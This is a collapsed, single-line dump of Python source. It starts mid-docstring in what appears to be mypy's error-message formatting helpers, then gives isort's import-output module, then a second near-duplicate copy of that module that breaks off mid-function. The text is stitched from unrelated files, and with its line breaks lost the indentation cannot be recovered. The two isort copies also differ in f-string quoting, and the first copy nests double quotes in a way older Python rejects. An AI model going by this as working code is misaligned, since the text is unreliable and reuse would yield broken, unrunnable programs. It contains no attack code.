string suitable for error messages. `verbosity` is a coarse grained control on the verbosity of the type This function returns a string appropriate for unmodified use in error messages; this means that it will be quoted in most cases. If modification of the formatted string is required, callers should use format_type_bare. """ return quote_type_string(format_type_bare(typ, verbosity)) def format_type_bare(typ: Type, verbosity: int = 0) -> str: """ Convert a type to a relatively short string suitable for error messages. `verbosity` is a coarse grained control on the verbosity of the type `fullnames` specifies a set of names that should be printed in full This function will return an unquoted string. If a caller doesn't need to perform post-processing on the string output, format_type should be used instead. (The caller may want to use quote_type_string after processing has happened, to maintain consistent quoting in messages.) """ return format_type_inner(typ, verbosity, find_type_overlaps(typ)) def format_type_distinctly(*types: Type, bare: bool = False) -> Tuple[str, ...]: """Jointly format types to distinct strings. Increase the verbosity of the type strings until they become distinct while also requiring that distinct types with the same short name are formatted distinctly. By default, the returned strings are created using format_type() and will be quoted accordingly. If ``bare`` is True, the returned strings will not be quoted; callers who need to do post-processing of the strings before quoting them (such as prepending * or **) should use this. """ overlapping = find_type_overlaps(*types) for verbosity in range(2): strs = [ format_type_inner(type, verbosity=verbosity, fullnames=overlapping) for type in types ] if len(set(strs)) == len(strs): break if bare: return tuple(strs) else: return tuple(quote_type_string(s) for s in strs) def pretty_class_or_static_decorator(tp: CallableType) -> Optional[str]: """Return @classmethod or @staticmethod, if any, for the given callable type.""" if tp.definition is not None and isinstance(tp.definition, SYMBOL_FUNCBASE_TYPES): if tp.definition.is_class: return '@classmethod' if tp.definition.is_static: return '@staticmethod' return None def pretty_callable(tp: CallableType) -> str: """Return a nice easily-readable representation of a callable type. For example: def [T <: int] f(self, x: int, y: T) -> None """ s = '' asterisk = False for i in range(len(tp.arg_types)): if s: s += ', ' if tp.arg_kinds[i].is_named() and not asterisk: s += '*, ' asterisk = True if tp.arg_kinds[i] == ARG_STAR: s += '*' asterisk = True if tp.arg_kinds[i] == ARG_STAR2: s += '**' name = tp.arg_names[i] if name: s += name + ': ' s += format_type_bare(tp.arg_types[i]) if tp.arg_kinds[i].is_optional(): s += ' = ...' # If we got a "special arg" (i.e: self, cls, etc...), prepend it to the arg list if isinstance(tp.definition, FuncDef) and tp.definition.name is not None: definition_args = [arg.variable.name for arg in tp.definition.arguments] if definition_args and tp.arg_names != definition_args \ and len(definition_args) > 0 and definition_args[0]: if s: s = ', ' + s s = definition_args[0] + s s = '{}({})'.format(tp.definition.name, s) elif tp.name: first_arg = tp.def_extras.get('first_arg') if first_arg: if s: s = ', ' + s s = first_arg + s s = '{}({})'.format(tp.name.split()[0], s) # skip "of Class" part else: s = '({})'.format(s) s += ' -> ' if tp.type_guard is not None: s += 'TypeGuard[{}]'.format(format_type_bare(tp.type_guard)) else: s += format_type_bare(tp.ret_type) if tp.variables: tvars = [] for tvar in tp.variables: if isinstance(tvar, TypeVarType): upper_bound = get_proper_type(tvar.upper_bound) if (isinstance(upper_bound, Instance) and upper_bound.type.fullname != 'builtins.object'): tvars.append('{} <: {}'.format(tvar.name, format_type_bare(upper_bound))) elif tvar.values: tvars.append('{} in ({})' .format(tvar.name, ', '.join([format_type_bare(tp) for tp in tvar.values]))) else: tvars.append(tvar.name) else: # For other TypeVarLikeTypes, just use the repr tvars.append(repr(tvar)) s = '[{}] {}'.format(', '.join(tvars), s) return 'def {}'.format(s) def variance_string(variance: int) -> str: if variance == COVARIANT: return 'covariant' elif variance == CONTRAVARIANT: return 'contravariant' else: return 'invariant' def get_missing_protocol_members(left: Instance, right: Instance) -> List[str]: """Find all protocol members of 'right' that are not implemented (i.e. completely missing) in 'left'. """ assert right.type.is_protocol missing: List[str] = [] for member in right.type.protocol_members: if not find_member(member, left, left): missing.append(member) return missing def get_conflict_protocol_types(left: Instance, right: Instance) -> List[Tuple[str, Type, Type]]: """Find members that are defined in 'left' but have incompatible types. Return them as a list of ('member', 'got', 'expected'). """ assert right.type.is_protocol conflicts: List[Tuple[str, Type, Type]] = [] for member in right.type.protocol_members: if member in ('__init__', '__new__'): continue supertype = find_member(member, right, left) assert supertype is not None subtype = find_member(member, left, left) if not subtype: continue is_compat = is_subtype(subtype, supertype, ignore_pos_arg_names=True) if IS_SETTABLE in get_member_flags(member, right.type): is_compat = is_compat and is_subtype(supertype, subtype) if not is_compat: conflicts.append((member, subtype, supertype)) return conflicts def get_bad_protocol_flags(left: Instance, right: Instance ) -> List[Tuple[str, Set[int], Set[int]]]: """Return all incompatible attribute flags for members that are present in both 'left' and 'right'. """ assert right.type.is_protocol all_flags: List[Tuple[str, Set[int], Set[int]]] = [] for member in right.type.protocol_members: if find_member(member, left, left): item = (member, get_member_flags(member, left.type), get_member_flags(member, right.type)) all_flags.append(item) bad_flags = [] for name, subflags, superflags in all_flags: if (IS_CLASSVAR in subflags and IS_CLASSVAR not in superflags or IS_CLASSVAR in superflags and IS_CLASSVAR not in subflags or IS_SETTABLE in superflags and IS_SETTABLE not in subflags or IS_CLASS_OR_STATIC in superflags and IS_CLASS_OR_STATIC not in subflags): bad_flags.append((name, subflags, superflags)) return bad_flags def capitalize(s: str) -> str: """Capitalize the first character of a string.""" if s == '': return '' else: return s[0].upper() + s[1:] def extract_type(name: str) -> str: """If the argument is the name of a method (of form C.m), return the type portion in quotes (e.g. "y"). Otherwise, return the string unmodified. """ name = re.sub('^"[a-zA-Z0-9_]+" of ', '', name) return name def strip_quotes(s: str) -> str: """Strip a double quote at the beginning and end of the string, if any.""" s = re.sub('^"', '', s) s = re.sub('"$', '', s) return s def plural_s(s: Union[int, Sequence[Any]]) -> str: count = s if isinstance(s, int) else len(s) if count > 1: return 's' else: return '' def format_string_list(lst: List[str]) -> str: assert len(lst) > 0 if len(lst) == 1: return lst[0] elif len(lst) <= 5: return '%s and %s' % (', '.join(lst[:-1]), lst[-1]) else: return '%s, ... and %s (%i methods suppressed)' % ( ', '.join(lst[:2]), lst[-1], len(lst) - 3) def format_item_name_list(s: Iterable[str]) -> str: lst = list(s) if len(lst) <= 5: return '(' + ', '.join(['"%s"' % name for name in lst]) + ')' else: return '(' + ', '.join(['"%s"' % name for name in lst[:5]]) + ', ...)' def callable_name(type: FunctionLike) -> Optional[str]: name = type.get_name() if name is not None and name[0] != '<': return '"{}"'.format(name).replace(' of ', '" of "') return name def for_function(callee: CallableType) -> str: name = callable_name(callee) if name is not None: return ' for {}'.format(name) return '' def find_defining_module(modules: Dict[str, MypyFile], typ: CallableType) -> Optional[MypyFile]: if not typ.definition: return None fullname = typ.definition.fullname if fullname is not None and '.' in fullname: for i in range(fullname.count('.')): module_name = fullname.rsplit('.', i + 1)[0] try: return modules[module_name] except KeyError: pass assert False, "Couldn't determine module from CallableType" return None # For hard-coding suggested missing member alternatives. COMMON_MISTAKES: Final[Dict[str, Sequence[str]]] = { 'add': ('append', 'extend'), } def best_matches(current: str, options: Iterable[str]) -> List[str]: ratios = {v: difflib.SequenceMatcher(a=current, b=v).ratio() for v in options} return sorted((o for o in options if ratios[o] > 0.75), reverse=True, key=lambda v: (ratios[v], v)) def pretty_seq(args: Sequence[str], conjunction: str) -> str: quoted = ['"' + a + '"' for a in args] if len(quoted) == 1: return quoted[0] if len(quoted) == 2: return "{} {} {}".format(quoted[0], conjunction, quoted[1]) last_sep = ", " + conjunction + " " return ", ".join(quoted[:-1]) + last_sep + quoted[-1] def append_invariance_notes(notes: List[str], arg_type: Instance, expected_type: Instance) -> List[str]: """Explain that the type is invariant and give notes for how to solve the issue.""" invariant_type = '' covariant_suggestion = '' if (arg_type.type.fullname == 'builtins.list' and expected_type.type.fullname == 'builtins.list' and is_subtype(arg_type.args[0], expected_type.args[0])): invariant_type = 'List' covariant_suggestion = 'Consider using "Sequence" instead, which is covariant' elif (arg_type.type.fullname == 'builtins.dict' and expected_type.type.fullname == 'builtins.dict' and is_same_type(arg_type.args[0], expected_type.args[0]) and is_subtype(arg_type.args[1], expected_type.args[1])): invariant_type = 'Dict' covariant_suggestion = ('Consider using "Mapping" instead, ' 'which is covariant in the value type') if invariant_type and covariant_suggestion: notes.append( '"{}" is invariant -- see '.format(invariant_type) + "https://mypy.readthedocs.io/en/stable/common_issues.html#variance") notes.append(covariant_suggestion) return notes def make_inferred_type_note(context: Context, subtype: Type, supertype: Type, supertype_str: str) -> str: """Explain that the user may have forgotten to type a variable. The user does not expect an error if the inferred container type is the same as the return type of a function and the argument type(s) are a subtype of the argument type(s) of the return type. This note suggests that they add a type annotation with the return type instead of relying on the inferred type. """ subtype = get_proper_type(subtype) supertype = get_proper_type(supertype) if (isinstance(subtype, Instance) and isinstance(supertype, Instance) and subtype.type.fullname == supertype.type.fullname and subtype.args and supertype.args and isinstance(context, ReturnStmt) and isinstance(context.expr, NameExpr) and isinstance(context.expr.node, Var) and context.expr.node.is_inferred): for subtype_arg, supertype_arg in zip(subtype.args, supertype.args): if not is_subtype(subtype_arg, supertype_arg): return '' var_name = context.expr.name return 'Perhaps you need a type annotation for "{}"? Suggestion: {}'.format( var_name, supertype_str) return '' def format_key_list(keys: List[str], *, short: bool = False) -> str: formatted_keys = ['"{}"'.format(key) for key in keys] td = '' if short else 'TypedDict ' if len(keys) == 0: return 'no {}keys'.format(td) elif len(keys) == 1: return '{}key {}'.format(td, formatted_keys[0]) else: return '{}keys ({})'.format(td, ', '.join(formatted_keys))
import copy import itertools from functools import partial from typing import Iterable, List, Tuple from isort.format import format_simplified from . import parse, sorting, wrap from .comments import add_to_line as with_comments from .settings import DEFAULT_CONFIG, Config STATEMENT_DECLERATIONS: Tuple[str, ...] = ("def ", "cdef ", "cpdef ", "class ", "@", "async def") def sorted_imports( parsed: parse.ParsedContent, config: Config = DEFAULT_CONFIG, extension: str = "py", import_type: str = "import", ) -> str: """Adds the imports back to the file. (at the index of the first import) sorted alphabetically and split between groups """ if parsed.import_index == -1: return _output_as_string(parsed.lines_without_imports, parsed.line_separator) formatted_output: List[str] = parsed.lines_without_imports.copy() remove_imports = [format_simplified(removal) for removal in config.remove_imports] sort_ignore_case = config.force_alphabetical_sort_within_sections sections: Iterable[str] = itertools.chain(parsed.sections, config.forced_separate) if config.no_sections: parsed.imports["no_sections"] = {"straight": [], "from": {}} base_sections: Tuple[str, ...] = () for section in sections: if section == "FUTURE": base_sections = ("FUTURE",) continue parsed.imports["no_sections"]["straight"].extend( parsed.imports[section].get("straight", []) ) parsed.imports["no_sections"]["from"].update(parsed.imports[section].get("from", {})) sections = base_sections + ("no_sections",) output: List[str] = [] pending_lines_before = False for section in sections: straight_modules = parsed.imports[section]["straight"] straight_modules = sorting.naturally( straight_modules, key=lambda key: sorting.module_key(key, config, section_name=section) ) from_modules = parsed.imports[section]["from"] from_modules = sorting.naturally( from_modules, key=lambda key: sorting.module_key(key, config, section_name=section) ) if config.force_sort_within_sections: copied_comments = copy.deepcopy(parsed.categorized_comments) section_output: List[str] = [] if config.from_first: section_output = _with_from_imports( parsed, config, from_modules, section, section_output, sort_ignore_case, remove_imports, import_type, ) if config.lines_between_types and from_modules and straight_modules: section_output.extend([""] * config.lines_between_types) section_output = _with_straight_imports( parsed, config, straight_modules, section, section_output, remove_imports, import_type, ) else: section_output = _with_straight_imports( parsed, config, straight_modules, section, section_output, remove_imports, import_type, ) if config.lines_between_types and from_modules and straight_modules: section_output.extend([""] * config.lines_between_types) section_output = _with_from_imports( parsed, config, from_modules, section, section_output, sort_ignore_case, remove_imports, import_type, ) if config.force_sort_within_sections: # Remove comments section_output = [line for line in section_output if not line.startswith("#")] section_output = sorting.naturally( section_output, key=partial( sorting.section_key, order_by_type=config.order_by_type, force_to_top=config.force_to_top, lexicographical=config.lexicographical, ), ) # Add comments back all_comments = copied_comments["above"]["from"] all_comments.update(copied_comments["above"]["straight"]) comment_indexes = {} for module, comment_list in all_comments.items(): for idx, line in enumerate(section_output): if module in line: comment_indexes[idx] = comment_list added = 0 for idx, comment_list in comment_indexes.items(): for comment in comment_list: section_output.insert(idx + added, comment) added += 1 section_name = section no_lines_before = section_name in config.no_lines_before if section_output: if section_name in parsed.place_imports: parsed.place_imports[section_name] = section_output continue section_title = config.import_headings.get(section_name.lower(), "") if section_title: section_comment = f"# {section_title}" if section_comment not in parsed.lines_without_imports[0:1]: section_output.insert(0, section_comment) if pending_lines_before or not no_lines_before: output += [""] * config.lines_between_sections output += section_output pending_lines_before = False else: pending_lines_before = pending_lines_before or not no_lines_before while output and output[-1].strip() == "": output.pop() while output and output[0].strip() == "": output.pop(0) output_at = 0 if parsed.import_index < parsed.original_line_count: output_at = parsed.import_index formatted_output[output_at:0] = output imports_tail = output_at + len(output) while [ character.strip() for character in formatted_output[imports_tail : imports_tail + 1] ] == [""]: formatted_output.pop(imports_tail) if len(formatted_output) > imports_tail: next_construct = "" _in_quote: str = "" tail = formatted_output[imports_tail:] for index, line in enumerate(tail): in_quote = _in_quote should_skip, _in_quote, *_ = parse.skip_line( line, in_quote=_in_quote, index=len(formatted_output), section_comments=parsed.section_comments, ) if not should_skip and line.strip(): if ( line.strip().startswith("#") and len(tail) > (index + 1) and tail[index + 1].strip() ): continue next_construct = line break elif not in_quote: parts = line.split() if ( len(parts) >= 3 and parts[1] == "=" and "'" not in parts[0] and '"' not in parts[0] ): next_construct = line break if config.lines_after_imports != -1: formatted_output[imports_tail:0] = ["" for line in range(config.lines_after_imports)] elif extension != "pyi" and next_construct.startswith(STATEMENT_DECLERATIONS): formatted_output[imports_tail:0] = ["", ""] else: formatted_output[imports_tail:0] = [""] if parsed.place_imports: new_out_lines = [] for index, line in enumerate(formatted_output): new_out_lines.append(line) if line in parsed.import_placements: new_out_lines.extend(parsed.place_imports[parsed.import_placements[line]]) if len(formatted_output) <= index or formatted_output[index + 1].strip() != "": new_out_lines.append("") formatted_output = new_out_lines return _output_as_string(formatted_output, parsed.line_separator) def _with_from_imports( parsed: parse.ParsedContent, config: Config, from_modules: Iterable[str], section: str, section_output: List[str], ignore_case: bool, remove_imports: List[str], import_type: str, ) -> List[str]: new_section_output = section_output.copy() for module in from_modules: if module in remove_imports: continue import_start = f"from {module} {import_type} " from_imports = list(parsed.imports[section]["from"][module]) if not config.no_inline_sort or ( config.force_single_line and module not in config.single_line_exclusions ): from_imports = sorting.naturally( from_imports, key=lambda key: sorting.module_key( key, config, True, ignore_case, section_name=section ), ) if remove_imports: from_imports = [ line for line in from_imports if f"{module}.{line}" not in remove_imports ] sub_modules = [f"{module}.{from_import}" for from_import in from_imports] as_imports = { from_import: [ f"{from_import} as {as_module}" for as_module in parsed.as_map[sub_module] ] for from_import, sub_module in zip(from_imports, sub_modules) if sub_module in parsed.as_map } if config.combine_as_imports and not ("*" in from_imports and config.combine_star): if not config.no_inline_sort: for as_import in as_imports: as_imports[as_import] = sorting.naturally(as_imports[as_import]) for from_import in copy.copy(from_imports): if from_import in as_imports: idx = from_imports.index(from_import) if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): from_imports[(idx + 1) : (idx + 1)] = as_imports.pop(from_import) else: from_imports[idx : (idx + 1)] = as_imports.pop(from_import) while from_imports: comments = parsed.categorized_comments["from"].pop(module, ()) if "*" in from_imports and config.combine_star: import_statement = wrap.line( with_comments( comments, f"{import_start}*", removed=config.ignore_comments, comment_prefix=config.comment_prefix, ), parsed.line_separator, config, ) from_imports = [] elif config.force_single_line and module not in config.single_line_exclusions: import_statement = "" while from_imports: from_import = from_imports.pop(0) single_import_line = with_comments( comments, import_start + from_import, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) comment = ( parsed.categorized_comments["nested"].get(module, {}).pop(from_import, None) ) if comment: single_import_line += ( f"{comments and ";" or config.comment_prefix} " f"{comment}" ) if from_import in as_imports: if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) from_comments = parsed.categorized_comments["straight"].get( f"{module}.{from_import}" ) new_section_output.extend( with_comments( from_comments, wrap.line(import_start + as_import, parsed.line_separator, config), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for as_import in sorting.naturally(as_imports[from_import]) ) else: new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) comments = None else: above_comments = parsed.categorized_comments["above"]["from"].pop(module, None) if above_comments: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(above_comments) while from_imports and from_imports[0] in as_imports: from_import = from_imports.pop(0) as_imports[from_import] = sorting.naturally(as_imports[from_import]) from_comments = parsed.categorized_comments["straight"].get( f"{module}.{from_import}" ) if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): new_section_output.append( with_comments( from_comments, wrap.line( import_start + from_import, parsed.line_separator, config ), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) ) new_section_output.extend( with_comments( from_comments, wrap.line(import_start + as_import, parsed.line_separator, config), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for as_import in as_imports[from_import] ) star_import = False if "*" in from_imports: new_section_output.append( with_comments( comments, f"{import_start}*", removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) ) from_imports.remove("*") star_import = True comments = None for from_import in copy.copy(from_imports): if from_import in as_imports and not config.keep_direct_and_as_imports: continue comment = ( parsed.categorized_comments["nested"].get(module, {}).pop(from_import, None) ) if comment: single_import_line = with_comments( comments, import_start + from_import, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) single_import_line += ( f"{comments and ";" or config.comment_prefix} " f"{comment}" ) new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) from_imports.remove(from_import) comments = None from_import_section = [] while from_imports and ( from_imports[0] not in as_imports or ( config.keep_direct_and_as_imports and config.combine_as_imports and parsed.imports[section]["from"][module][from_import] ) ): from_import_section.append(from_imports.pop(0)) if star_import: import_statement = import_start + (", ").join(from_import_section) else: import_statement = with_comments( comments, import_start + (", ").join(from_import_section), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) if not from_import_section: import_statement = "" do_multiline_reformat = False force_grid_wrap = config.force_grid_wrap if force_grid_wrap and len(from_import_section) >= force_grid_wrap: do_multiline_reformat = True if len(import_statement) > config.line_length and len(from_import_section) > 1: do_multiline_reformat = True # If line too long AND have imports AND we are # NOT using GRID or VERTICAL wrap modes if ( len(import_statement) > config.line_length and len(from_import_section) > 0 and config.multi_line_output not in (wrap.Modes.GRID, wrap.Modes.VERTICAL) # type: ignore ): do_multiline_reformat = True if do_multiline_reformat: import_statement = wrap.import_statement( import_start=import_start, from_imports=from_import_section, comments=comments, line_separator=parsed.line_separator, config=config, ) if config.multi_line_output == wrap.Modes.GRID: # type: ignore other_import_statement = wrap.import_statement( import_start=import_start, from_imports=from_import_section, comments=comments, line_separator=parsed.line_separator, config=config, multi_line_output=wrap.Modes.VERTICAL_GRID, # type: ignore ) if max(len(x) for x in import_statement.split("\n")) > config.line_length: import_statement = other_import_statement if not do_multiline_reformat and len(import_statement) > config.line_length: import_statement = wrap.line(import_statement, parsed.line_separator, config) if import_statement: above_comments = parsed.categorized_comments["above"]["from"].pop(module, None) if above_comments: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(above_comments) new_section_output.append(import_statement) return new_section_output def _with_straight_imports( parsed: parse.ParsedContent, config: Config, straight_modules: Iterable[str], section: str, section_output: List[str], remove_imports: List[str], import_type: str, ) -> List[str]: new_section_output = section_output.copy() for module in straight_modules: if module in remove_imports: continue import_definition = [] if module in parsed.as_map: if config.keep_direct_and_as_imports and parsed.imports[section]["straight"][module]: import_definition.append(f"{import_type} {module}") import_definition.extend( f"{import_type} {module} as {as_import}" for as_import in parsed.as_map[module] ) else: import_definition.append(f"{import_type} {module}") comments_above = parsed.categorized_comments["above"]["straight"].pop(module, None) if comments_above: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(comments_above) new_section_output.extend( with_comments( parsed.categorized_comments["straight"].get(module), idef, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for idef in import_definition ) return new_section_output def _output_as_string(lines: List[str], line_separator: str) -> str: return line_separator.join(_normalize_empty_lines(lines)) def _normalize_empty_lines(lines: List[str]) -> List[str]: while lines and lines[-1].strip() == "": lines.pop(-1) lines.append("") return lines
import copy import itertools from functools import partial from typing import Iterable, List, Tuple from isort.format import format_simplified from . import parse, sorting, wrap from .comments import add_to_line as with_comments from .settings import DEFAULT_CONFIG, Config STATEMENT_DECLERATIONS: Tuple[str, ...] = ("def ", "cdef ", "cpdef ", "class ", "@", "async def") def sorted_imports( parsed: parse.ParsedContent, config: Config = DEFAULT_CONFIG, extension: str = "py", import_type: str = "import", ) -> str: """Adds the imports back to the file. (at the index of the first import) sorted alphabetically and split between groups """ if parsed.import_index == -1: return _output_as_string(parsed.lines_without_imports, parsed.line_separator) formatted_output: List[str] = parsed.lines_without_imports.copy() remove_imports = [format_simplified(removal) for removal in config.remove_imports] sort_ignore_case = config.force_alphabetical_sort_within_sections sections: Iterable[str] = itertools.chain(parsed.sections, config.forced_separate) if config.no_sections: parsed.imports["no_sections"] = {"straight": [], "from": {}} base_sections: Tuple[str, ...] = () for section in sections: if section == "FUTURE": base_sections = ("FUTURE",) continue parsed.imports["no_sections"]["straight"].extend( parsed.imports[section].get("straight", []) ) parsed.imports["no_sections"]["from"].update(parsed.imports[section].get("from", {})) sections = base_sections + ("no_sections",) output: List[str] = [] pending_lines_before = False for section in sections: straight_modules = parsed.imports[section]["straight"] straight_modules = sorting.naturally( straight_modules, key=lambda key: sorting.module_key(key, config, section_name=section) ) from_modules = parsed.imports[section]["from"] from_modules = sorting.naturally( from_modules, key=lambda key: sorting.module_key(key, config, section_name=section) ) if config.force_sort_within_sections: copied_comments = copy.deepcopy(parsed.categorized_comments) section_output: List[str] = [] if config.from_first: section_output = _with_from_imports( parsed, config, from_modules, section, section_output, sort_ignore_case, remove_imports, import_type, ) if config.lines_between_types and from_modules and straight_modules: section_output.extend([""] * config.lines_between_types) section_output = _with_straight_imports( parsed, config, straight_modules, section, section_output, remove_imports, import_type, ) else: section_output = _with_straight_imports( parsed, config, straight_modules, section, section_output, remove_imports, import_type, ) if config.lines_between_types and from_modules and straight_modules: section_output.extend([""] * config.lines_between_types) section_output = _with_from_imports( parsed, config, from_modules, section, section_output, sort_ignore_case, remove_imports, import_type, ) if config.force_sort_within_sections: # Remove comments section_output = [line for line in section_output if not line.startswith("#")] section_output = sorting.naturally( section_output, key=partial( sorting.section_key, order_by_type=config.order_by_type, force_to_top=config.force_to_top, lexicographical=config.lexicographical, ), ) # Add comments back all_comments = copied_comments["above"]["from"] all_comments.update(copied_comments["above"]["straight"]) comment_indexes = {} for module, comment_list in all_comments.items(): for idx, line in enumerate(section_output): if module in line: comment_indexes[idx] = comment_list added = 0 for idx, comment_list in comment_indexes.items(): for comment in comment_list: section_output.insert(idx + added, comment) added += 1 section_name = section no_lines_before = section_name in config.no_lines_before if section_output: if section_name in parsed.place_imports: parsed.place_imports[section_name] = section_output continue section_title = config.import_headings.get(section_name.lower(), "") if section_title: section_comment = f"# {section_title}" if section_comment not in parsed.lines_without_imports[0:1]: section_output.insert(0, section_comment) if pending_lines_before or not no_lines_before: output += [""] * config.lines_between_sections output += section_output pending_lines_before = False else: pending_lines_before = pending_lines_before or not no_lines_before while output and output[-1].strip() == "": output.pop() while output and output[0].strip() == "": output.pop(0) output_at = 0 if parsed.import_index < parsed.original_line_count: output_at = parsed.import_index formatted_output[output_at:0] = output imports_tail = output_at + len(output) while [ character.strip() for character in formatted_output[imports_tail : imports_tail + 1] ] == [""]: formatted_output.pop(imports_tail) if len(formatted_output) > imports_tail: next_construct = "" _in_quote: str = "" tail = formatted_output[imports_tail:] for index, line in enumerate(tail): in_quote = _in_quote should_skip, _in_quote, *_ = parse.skip_line( line, in_quote=_in_quote, index=len(formatted_output), section_comments=parsed.section_comments, ) if not should_skip and line.strip(): if ( line.strip().startswith("#") and len(tail) > (index + 1) and tail[index + 1].strip() ): continue next_construct = line break elif not in_quote: parts = line.split() if ( len(parts) >= 3 and parts[1] == "=" and "'" not in parts[0] and '"' not in parts[0] ): next_construct = line break if config.lines_after_imports != -1: formatted_output[imports_tail:0] = ["" for line in range(config.lines_after_imports)] elif extension != "pyi" and next_construct.startswith(STATEMENT_DECLERATIONS): formatted_output[imports_tail:0] = ["", ""] else: formatted_output[imports_tail:0] = [""] if parsed.place_imports: new_out_lines = [] for index, line in enumerate(formatted_output): new_out_lines.append(line) if line in parsed.import_placements: new_out_lines.extend(parsed.place_imports[parsed.import_placements[line]]) if len(formatted_output) <= index or formatted_output[index + 1].strip() != "": new_out_lines.append("") formatted_output = new_out_lines return _output_as_string(formatted_output, parsed.line_separator) def _with_from_imports( parsed: parse.ParsedContent, config: Config, from_modules: Iterable[str], section: str, section_output: List[str], ignore_case: bool, remove_imports: List[str], import_type: str, ) -> List[str]: new_section_output = section_output.copy() for module in from_modules: if module in remove_imports: continue import_start = f"from {module} {import_type} " from_imports = list(parsed.imports[section]["from"][module]) if not config.no_inline_sort or ( config.force_single_line and module not in config.single_line_exclusions ): from_imports = sorting.naturally( from_imports, key=lambda key: sorting.module_key( key, config, True, ignore_case, section_name=section ), ) if remove_imports: from_imports = [ line for line in from_imports if f"{module}.{line}" not in remove_imports ] sub_modules = [f"{module}.{from_import}" for from_import in from_imports] as_imports = { from_import: [ f"{from_import} as {as_module}" for as_module in parsed.as_map[sub_module] ] for from_import, sub_module in zip(from_imports, sub_modules) if sub_module in parsed.as_map } if config.combine_as_imports and not ("*" in from_imports and config.combine_star): if not config.no_inline_sort: for as_import in as_imports: as_imports[as_import] = sorting.naturally(as_imports[as_import]) for from_import in copy.copy(from_imports): if from_import in as_imports: idx = from_imports.index(from_import) if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): from_imports[(idx + 1) : (idx + 1)] = as_imports.pop(from_import) else: from_imports[idx : (idx + 1)] = as_imports.pop(from_import) while from_imports: comments = parsed.categorized_comments["from"].pop(module, ()) if "*" in from_imports and config.combine_star: import_statement = wrap.line( with_comments( comments, f"{import_start}*", removed=config.ignore_comments, comment_prefix=config.comment_prefix, ), parsed.line_separator, config, ) from_imports = [] elif config.force_single_line and module not in config.single_line_exclusions: import_statement = "" while from_imports: from_import = from_imports.pop(0) single_import_line = with_comments( comments, import_start + from_import, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) comment = ( parsed.categorized_comments["nested"].get(module, {}).pop(from_import, None) ) if comment: single_import_line += ( f"{comments and ';' or config.comment_prefix} " f"{comment}" ) if from_import in as_imports: if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) from_comments = parsed.categorized_comments["straight"].get( f"{module}.{from_import}" ) new_section_output.extend( with_comments( from_comments, wrap.line(import_start + as_import, parsed.line_separator, config), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for as_import in sorting.naturally(as_imports[from_import]) ) else: new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) comments = None else: above_comments = parsed.categorized_comments["above"]["from"].pop(module, None) if above_comments: if new_section_output and config.ensure_newline_before_comments: new_section_output.append("") new_section_output.extend(above_comments) while from_imports and from_imports[0] in as_imports: from_import = from_imports.pop(0) as_imports[from_import] = sorting.naturally(as_imports[from_import]) from_comments = parsed.categorized_comments["straight"].get( f"{module}.{from_import}" ) if ( config.keep_direct_and_as_imports and parsed.imports[section]["from"][module][from_import] ): new_section_output.append( with_comments( from_comments, wrap.line( import_start + from_import, parsed.line_separator, config ), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) ) new_section_output.extend( with_comments( from_comments, wrap.line(import_start + as_import, parsed.line_separator, config), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) for as_import in as_imports[from_import] ) star_import = False if "*" in from_imports: new_section_output.append( with_comments( comments, f"{import_start}*", removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) ) from_imports.remove("*") star_import = True comments = None for from_import in copy.copy(from_imports): if from_import in as_imports and not config.keep_direct_and_as_imports: continue comment = ( parsed.categorized_comments["nested"].get(module, {}).pop(from_import, None) ) if comment: single_import_line = with_comments( comments, import_start + from_import, removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) single_import_line += ( f"{comments and ';' or config.comment_prefix} " f"{comment}" ) new_section_output.append( wrap.line(single_import_line, parsed.line_separator, config) ) from_imports.remove(from_import) comments = None from_import_section = [] while from_imports and ( from_imports[0] not in as_imports or ( config.keep_direct_and_as_imports and config.combine_as_imports and parsed.imports[section]["from"][module][from_import] ) ): from_import_section.append(from_imports.pop(0)) if star_import: import_statement = import_start + (", ").join(from_import_section) else: import_statement = with_comments( comments, import_start + (", ").join(from_import_section), removed=config.ignore_comments, comment_prefix=config.comment_prefix, ) if not from_import_section: import_statement = "" do_multiline_reformat = False force_grid_wrap = config.force_grid_wrap if force_grid_wrap and len(from_import_section) >= force_grid_wrap: do_multiline_reformat = True if len(import_statement) > config.line_length and len(from_import_section) > 1: do_multiline_reformat = True # If line too long AND have imports AND we are # NOT using GRID or VERTICAL wrap modes if ( len(import_statement) > config.line_length and len(from_import_section) > 0 and config.multi_line_output not in (wrap.Modes.GRID, wrap.Modes.VERTICAL) # type: ignore ): do_multiline_reformat = True if do_multiline_reformat: import_statement = wrap.import_statement( import_start=import_start, from_imports=from_import_section, comments=comments, line_separator=parsed.line_separator, config=config, ) if config.multi_line_output == wrap.Modes.GRID: # type: ignore other_import_statement = wrap.import_statement( import_start=import_start, from_imports=from_import_section, comments=comments, line_separator=parsed.line_separator, config=config, multi_line_output=wrap.Modes.VERTICAL_GRID, # type: ignore ) if max(len(x) for x in import_statement.split("\n")) > config.line_length: import_statement = other_import_statement if not do_multiline_reformat and len(import_statement) > config.line_length: import_statement = wrap.line(import_statement, parsed.line_separator, config) if import_statement: above_comments = 